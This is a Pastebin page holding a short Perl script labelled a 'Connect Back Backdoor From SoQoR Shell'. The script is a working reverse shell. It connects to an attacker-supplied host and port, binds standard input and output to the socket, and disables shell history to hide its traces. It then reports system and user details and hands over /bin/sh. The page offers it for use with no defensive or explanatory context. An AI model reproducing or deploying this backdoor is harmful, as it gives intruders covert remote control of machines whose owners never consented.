lehieuit

perl socket backconnectþon shell

Apr 21st, 2012
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.86 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $system    = '/bin/sh';
  4. $ARGC=@ARGV;
  5. print "Connect Back Backdoor From SoQoR Shell\nHttp://www.soqor.net\n\n";
  6. if ($ARGC!=2) {
  7.   print "Usage: $0 [Host] [Port] \n\n";
  8.   die "Ex: $0 127.0.0.1 2121 \n";
  9. }
  10. use Socket;
  11. use FileHandle;
  12. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
  13. connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
  14. print "[*] Connecting... to $ARGV[0] port $ARGV[1]\n";
  15. print "[*] Connected to remote host \n";
  16. SOCKET->autoflush();
  17. open(STDIN, ">&SOCKET");
  18. open(STDOUT,">&SOCKET");
  19. open(STDERR,">&SOCKET");
  20. print "Connect Back Backdoor From SoQoR Shell\nHttp://www.soqor.net\n\n";
  21. system("unset HISTFILE; unset SAVEHIST;echo Uname; uname -a;echo;
  22. echo ID; id;echo;echo PWD; pwd");
  23. system($system);
Advertisement
Add Comment
Please, Sign In to add comment